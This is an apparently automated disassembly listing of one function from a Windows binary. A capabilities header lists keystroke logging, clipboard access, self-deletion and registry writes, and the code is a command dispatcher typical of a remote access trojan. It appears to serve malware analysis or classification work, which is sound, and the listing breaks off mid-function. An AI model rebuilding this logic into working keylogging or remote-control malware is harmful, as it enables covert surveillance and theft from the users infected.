Function at 0x4167a4
Capabilities:
Copy file
Create directory
Create process on windows
Find taskbar
Log keystrokes via application hook
Open clipboard
Power down monitor
Self delete
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x109e
push 0
push 0
dec ecx
jne 0x4167ac
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x41f0c0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, dword [0x429cb4]
call fcn.00402a7c
mov eax, 0x429cb4
call fcn.004029e4
mov eax, dword [0x429cb8]
mov dword [ebp - 0x44], eax
mov edx, dword [ebp - 4]
mov eax, 2
call fcn.00414e58
lea eax, [ebp - 0x80ac]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x80ac]
mov edx, 0x41f0e4
call fcn.00402da4
jne 0x416881
mov eax, dword [0x427604]
cmp dword [eax], 0
je 0x41f065
mov eax, dword [0x429ce4]
push eax
lea edx, [ebp - 0x80b0]
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b44
mov eax, dword [ebp - 0x80b0]
push eax
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b78
mov ecx, eax
mov ebx, dword [0x427500]
mov ebx, dword [ebx]
mov eax, dword [0x4273dc]
mov eax, dword [eax]
pop edx
call ebx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x80b4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x80b4]
mov edx, 0x41f0f4
call fcn.00402da4
jne 0x416984
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0xc]
mov edx, 0x41f10c
call fcn.00402da4
jne 0x416947
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
push 0x429cf0
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
jmp 0x416951
mov eax, 0x429cf0
call fcn.004029e4
mov eax, dword [0x42743c]
cmp byte [eax], 0
jne 0x416977
lea eax, [ebp - 8]
mov edx, 0x41f118
call fcn.00402a7c
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x80b8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x80b8]
mov edx, 0x41f130
call fcn.00402da4
jne 0x416a5a
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
cmp dword [0x429cf0], 0
je 0x416a1d
mov eax, dword [0x429cf0]
call fcn.00424364
mov eax, 0x429cf0
call fcn.004029e4
jmp 0x41f065
mov eax, dword [ebp - 0xc]
call fcn.00406cd4
cdq
push edx
push eax
lea edx, [ebp - 0x80bc]
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b44
mov eax, dword [ebp - 0x80bc]
push eax
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b78
mov edx, eax
pop eax
call fcn.004241fc
jmp 0x41f065
lea eax, [ebp - 0x80c0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x80c0]
mov edx, 0x41f148
call fcn.00402da4
jne 0x416b67
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0xc]
mov edx, 0x41f10c
call fcn.00402da4
jne 0x416b2a
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0xc]
call fcn.00423d0c
jmp 0x41f065
mov eax, dword [ebp - 0xc]
call fcn.00406cd4
cdq
push edx
push eax
lea edx, [ebp - 0x80c4]
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b44
mov eax, dword [ebp - 0x80c4]
push eax
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b78
mov edx, eax
pop eax
call fcn.00423ba8
jmp 0x41f065
lea eax, [ebp - 0x80c8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x80c8]
mov edx, 0x41f160
call fcn.00402da4
jne 0x416c74
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0xc]
mov edx, 0x41f10c
call fcn.00402da4
jne 0x416c37
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0xc]
call fcn.00420830
jmp 0x41f065
mov eax, dword [ebp - 0xc]
call fcn.00406cd4
cdq
push edx
push eax
lea edx, [ebp - 0x80cc]
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b44
mov eax, dword [ebp - 0x80cc]
push eax
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b78
mov edx, eax
pop eax
call fcn.004206cc
jmp 0x41f065
lea eax, [ebp - 0x80d0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x80d0]
mov edx, 0x41f178
call fcn.00402da4
jne 0x416f23
push 0x41f18c
lea edx, [ebp - 0x80d8]
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b44
push dword [ebp - 0x80d8]
push 0x41f1a4
push 0x41f178
lea eax, [ebp - 0x80d4]
mov edx, 4
call fcn.00402d20
mov edx, dword [ebp - 0x80d4]
mov eax, 3
call fcn.00414e58
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
mov eax, dword [ebp - 0xc]
mov edx, dword [0x4273dc]
mov edx, dword [edx]
call fcn.00402da4
je 0x416d71
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408af0
jmp 0x41f065
mov eax, dword [0x427494]
mov eax, dword [eax]
call fcn.0040a7a4
mov edx, dword [0x42743c]
mov byte [edx], al
push 0x429ce4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
lea eax, [ebp - 0x80dc]
call fcn.0040e6bc
cmp dword [ebp - 0x80dc], 0
je 0x416dca
lea eax, [ebp - 0xc]
mov edx, 0x41f1b0
call fcn.00402a7c
jmp 0x416dd7
lea eax, [ebp - 0xc]
mov edx, 0x41f1bc
call fcn.00402a7c
mov eax, dword [0x42743c]
cmp byte [eax], 1
jne 0x416df0
lea eax, [ebp - 0x10]
mov edx, 0x41f1b0
call fcn.00402a7c
jmp 0x416dfd
lea eax, [ebp - 0x10]
mov edx, 0x41f1bc
call fcn.00402a7c
push 0x41f1c8
mov eax, dword [0x42757c]
push dword [eax]
push 0x41f0d8
lea edx, [ebp - 0x80e0]
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b10
push dword [ebp - 0x80e0]
push 0x41f0d8
lea eax, [ebp - 0x80e4]
call fcn.0040e2b4
push dword [ebp - 0x80e4]
push 0x41f1dc
lea eax, [ebp - 0x80e8]
call fcn.0040e2ec
push dword [ebp - 0x80e8]
push 0x41f0d8
lea eax, [ebp - 0x80ec]
call fcn.0040e424
push dword [ebp - 0x80ec]
push 0x41f0d8
call fcn.0040e284
push edx
push eax
lea eax, [ebp - 0x80f0]
call fcn.00406cac
push dword [ebp - 0x80f0]
push 0x41f0d8
mov eax, dword [0x4274ec]
push dword [eax]
push 0x41f0d8
push dword [ebp - 0xc]
push 0x41f0d8
push dword [ebp - 0x10]
push 0x41f0d8
lea eax, [ebp - 0x80f4]
call fcn.00416008
push dword [ebp - 0x80f4]
push 0x41f0d8
lea eax, [ebp - 0x80f8]
call fcn.00405674
push dword [ebp - 0x80f8]
push 0x41f0d8
call fcn.0040d794
lea edx, [ebp - 0x80fc]
call fcn.00406bb8
push dword [ebp - 0x80fc]
push 0x41f0d8
lea eax, [ebp - 8]
mov edx, 0x19
call fcn.00402d20
mov edx, dword [ebp - 8]
mov eax, 4
call fcn.00414e58
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8100]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8100]
mov edx, 0x41f1e8
call fcn.00402da4
jne 0x417064
call sub.kernel32.dll_GetTickCount
mov edx, dword [0x42748c]
mov dword [edx], eax
push 0x41f1f8
lea eax, [ebp - 0x8104]
call fcn.00405674
push dword [ebp - 0x8104]
push 0x41f208
call fcn.004048e4
push edx
push eax
lea eax, [ebp - 0x8108]
call fcn.00406cac
push dword [ebp - 0x8108]
push 0x41f0d8
lea eax, [ebp - 8]
mov edx, 5
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0xc]
mov edx, 0x41f0e4
call fcn.00402da4
jne 0x417057
mov eax, dword [0x427604]
cmp dword [eax], 0
je 0x41f065
mov eax, dword [0x429ce4]
push eax
lea edx, [ebp - 0x810c]
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b44
mov eax, dword [ebp - 0x810c]
push eax
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b78
mov ecx, eax
mov ebx, dword [0x427500]
mov ebx, dword [ebx]
mov eax, dword [0x4273dc]
mov eax, dword [eax]
pop edx
call ebx
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8110]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8110]
mov edx, 0x41f214
call fcn.00402da4
jne 0x41716a
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
mov eax, dword [0x42757c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [0x42757c]
mov eax, dword [eax]
push eax
mov ecx, dword [0x4274f0]
mov ecx, dword [ecx]
lea eax, [ebp - 0x8114]
mov edx, 0x41f228
call fcn.00402cac
mov edx, dword [ebp - 0x8114]
mov ecx, 0x41f23c
mov eax, 0x80000001
call fcn.00406508
cmp al, 1
jne 0x41714b
push 0x41f254
mov eax, dword [0x42757c]
push dword [eax]
push 0x41f0d8
lea eax, [ebp - 0x8118]
mov edx, 3
call fcn.00402d20
mov edx, dword [ebp - 0x8118]
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.004154fc
jmp 0x41715d
mov eax, dword [0x42757c]
mov edx, dword [0x4274f0]
mov edx, dword [edx]
call fcn.00402a38
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x811c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x811c]
mov edx, 0x41f268
call fcn.00402da4
jne 0x4171e0
call fcn.00415b4c
lea eax, [ebp - 0x4c]
push eax
push 0
push 0x41f274
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [0x429cb0]
push eax
call sub.kernel32.dll_CloseHandle_1
call sub.kernel32.dll_GetCurrentProcessId
cmp eax, dword [ebp - 0x4c]
je 0x41f065
push 0
call sub.kernel32.dll_ExitProcess_1
lea eax, [ebp - 0x8120]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8120]
mov edx, 0x41f28c
call fcn.00402da4
jne 0x4172ac
mov edx, dword [0x427638]
mov edx, dword [edx]
lea eax, [ebp - 0x8124]
mov ecx, 0x41f2a0
call fcn.00402cac
mov eax, dword [ebp - 0x8124]
call fcn.00402e58
push eax
push 0
push 0
call fcn.00404174
mov ebx, eax
mov byte [0x4273c8], 1
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408af0
push 0x1388
call sub.kernel32.dll_Sleep
call fcn.004157e0
mov eax, dword [0x429cb0]
push eax
call sub.kernel32.dll_CloseHandle_1
push ebx
call sub.kernel32.dll_CloseHandle_1
lea eax, [ebp - 0x4c]
push eax
push 0
push 0x41f274
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetWindowThreadProcessId
call sub.kernel32.dll_GetCurrentProcessId
cmp eax, dword [ebp - 0x4c]
je 0x41f065
push 0
call sub.kernel32.dll_ExitProcess_1
lea eax, [ebp - 0x8128]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8128]
mov edx, 0x41f2b0
call fcn.00402da4
jne 0x417371
mov edx, dword [0x427638]
mov edx, dword [edx]
lea eax, [ebp - 0x812c]
mov ecx, 0x41f2a0
call fcn.00402cac
mov eax, dword [ebp - 0x812c]
call fcn.00402e58
push eax
push 0
push 0
call fcn.00404174
mov ebx, eax
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408af0
push 0x1388
call sub.kernel32.dll_Sleep
call fcn.004157e0
mov eax, dword [0x429cb0]
push eax
call sub.kernel32.dll_CloseHandle_1
push ebx
call sub.kernel32.dll_CloseHandle_1
lea eax, [ebp - 0x4c]
push eax
push 0
push 0x41f274
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetWindowThreadProcessId
call sub.kernel32.dll_GetCurrentProcessId
cmp eax, dword [ebp - 0x4c]
je 0x41f065
push 0
call sub.kernel32.dll_ExitProcess_1
lea eax, [ebp - 0x8130]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8130]
mov edx, 0x41f2c4
call fcn.00402da4
jne 0x417496
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
lea edx, [ebp - 0x8134]
mov eax, dword [ebp - 0x10]
call fcn.00405db0
mov eax, dword [ebp - 0x8134]
push eax
lea eax, [ebp - 0x8138]
call fcn.00406970
mov edx, dword [ebp - 0x8138]
lea eax, [ebp - 0x14]
pop ecx
call fcn.00402cac
xor eax, eax
push ebp
push 0x41747f
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 0x14]
call fcn.00402e58
push eax
mov eax, dword [ebp - 0x10]
call fcn.00402e58
mov edx, eax
xor eax, eax
pop ecx
call fcn.004051f4
push 0
lea eax, [ebp - 0x813c]
call fcn.00406970
mov eax, dword [ebp - 0x813c]
call fcn.00402e58
push eax
push 0
mov eax, dword [ebp - 0x14]
call fcn.00402e58
mov ecx, eax
mov edx, 0x41f2d0
xor eax, eax
call fcn.004064b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x417489
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8140]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8140]
mov edx, 0x41f2e0
call fcn.00402da4
jne 0x4175bb
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
lea edx, [ebp - 0x8144]
mov eax, dword [ebp - 0x10]
call fcn.00405db0
mov eax, dword [ebp - 0x8144]
push eax
lea eax, [ebp - 0x8148]
call fcn.00406970
mov edx, dword [ebp - 0x8148]
lea eax, [ebp - 0x14]
pop ecx
call fcn.00402cac
xor eax, eax
push ebp
push 0x4175a4
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 0x14]
call fcn.00402e58
push eax
mov eax, dword [ebp - 0x10]
call fcn.00402e58
mov edx, eax
xor eax, eax
pop ecx
call fcn.004051f4
push 0
lea eax, [ebp - 0x814c]
call fcn.00406970
mov eax, dword [ebp - 0x814c]
call fcn.00402e58
push eax
push 1
mov eax, dword [ebp - 0x14]
call fcn.00402e58
mov ecx, eax
mov edx, 0x41f2d0
xor eax, eax
call fcn.004064b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4175ae
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8150]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8150]
mov edx, 0x41f2f4
call fcn.00402da4
jne 0x417695
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
xor eax, eax
push ebp
push 0x41767e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
call fcn.00402e58
push eax
push 0x41f2fc
push 3
lea eax, [ebp - 0x8154]
call fcn.00405c58
mov eax, dword [ebp - 0x8154]
call fcn.00402e58
mov ecx, eax
mov edx, 0x41f2d0
xor eax, eax
call fcn.004064b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x417688
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8158]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8158]
mov edx, 0x41f308
call fcn.00402da4
jne 0x417759
call fcn.004157e0
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [0x4275f4]
mov edx, dword [ebp - 0xc]
call fcn.00402a38
xor eax, eax
push ebp
push 0x417742
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408af0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41774c
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x815c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x815c]
mov edx, 0x41f31c
call fcn.00402da4
jne 0x41809a
push 5
call sub.kernel32.dll_Sleep
push 0x41f330
mov eax, dword [0x4274c8]
push dword [eax + 8]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
call fcn.004029e4
push dword [ebp - 0xc]
lea eax, [ebp - 0x8160]
call fcn.0040e2b4
push dword [ebp - 0x8160]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
lea eax, [ebp - 0x8164]
call fcn.0040e2ec
push dword [ebp - 0x8164]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
lea eax, [ebp - 0x8168]
call fcn.0040e324
push dword [ebp - 0x8168]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
lea eax, [ebp - 0x816c]
call fcn.0040e1cc
push dword [ebp - 0x816c]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
call fcn.0040e284
push edx
push eax
lea eax, [ebp - 0x8170]
call fcn.00406cac
push dword [ebp - 0x8170]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
lea eax, [ebp - 0x8174]
call fcn.0040e424
push dword [ebp - 0x8174]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
lea eax, [ebp - 0x8178]
call fcn.0040e7b0
push dword [ebp - 0x8178]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x10]
call fcn.0040d848
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
mov ebx, 0x14
mov esi, dword [0x4275ec]
mov eax, dword [esi]
call fcn.00402c60
dec eax
jle 0x417969
push dword [ebp - 0xc]
push dword [esi]
push 0x41f368
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
add esi, 4
dec ebx
jne 0x417948
lea eax, [ebp - 0xc]
mov edx, 0x41f35c
call fcn.00402c68
push dword [ebp - 0xc]
lea edx, [ebp - 0x817c]
mov eax, dword [0x4273d0]
mov eax, dword [eax]
call fcn.00406bb8
push dword [ebp - 0x817c]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
lea edx, [ebp - 0x8180]
mov eax, dword [0x42745c]
mov eax, dword [eax]
call fcn.00406bb8
push dword [ebp - 0x8180]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
mov eax, dword [0x4274f0]
push dword [eax]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x42760c]
cmp byte [eax], 0
jne 0x417a18
push dword [ebp - 0xc]
push 0x41f374
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
jmp 0x417a34
push dword [ebp - 0xc]
mov eax, dword [0x427634]
push dword [eax]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x42760c]
cmp byte [eax], 0
jne 0x417a5a
push dword [ebp - 0xc]
push 0x41f374
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
jmp 0x417a77
push dword [ebp - 0xc]
mov eax, dword [0x427428]
push dword [eax + 0x6c]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x42760c]
cmp byte [eax], 0
jne 0x417a9d
push dword [ebp - 0xc]
push 0x41f374
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
jmp 0x417aba
push dword [ebp - 0xc]
mov eax, dword [0x427428]
push dword [eax + 0x70]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
push dword [ebp - 0xc]
mov eax, dword [0x427504]
push dword [eax]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x42746c]
cmp byte [eax], 0
jne 0x417afc
push dword [ebp - 0xc]
push 0x41f374
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
jmp 0x417b1c
push dword [ebp - 0xc]
mov eax, dword [0x427428]
push dword [eax + 0x80]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x4274d4]
cmp byte [eax], 0
jne 0x417b42
push dword [ebp - 0xc]
push 0x41f374
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
jmp 0x417b62
push dword [ebp - 0xc]
mov eax, dword [0x427428]
push dword [eax + 0x84]
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
mov eax, dword [0x4274e4]
cmp byte [eax], 0
jne 0x417b88
push dword [ebp - 0xc]
push 0x41f374
push 0x41f35c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00402d20
jmp 0x417ba4
push dword [ebp - 0xc]
mov eax, dword [0x427450]
push dword [eax]
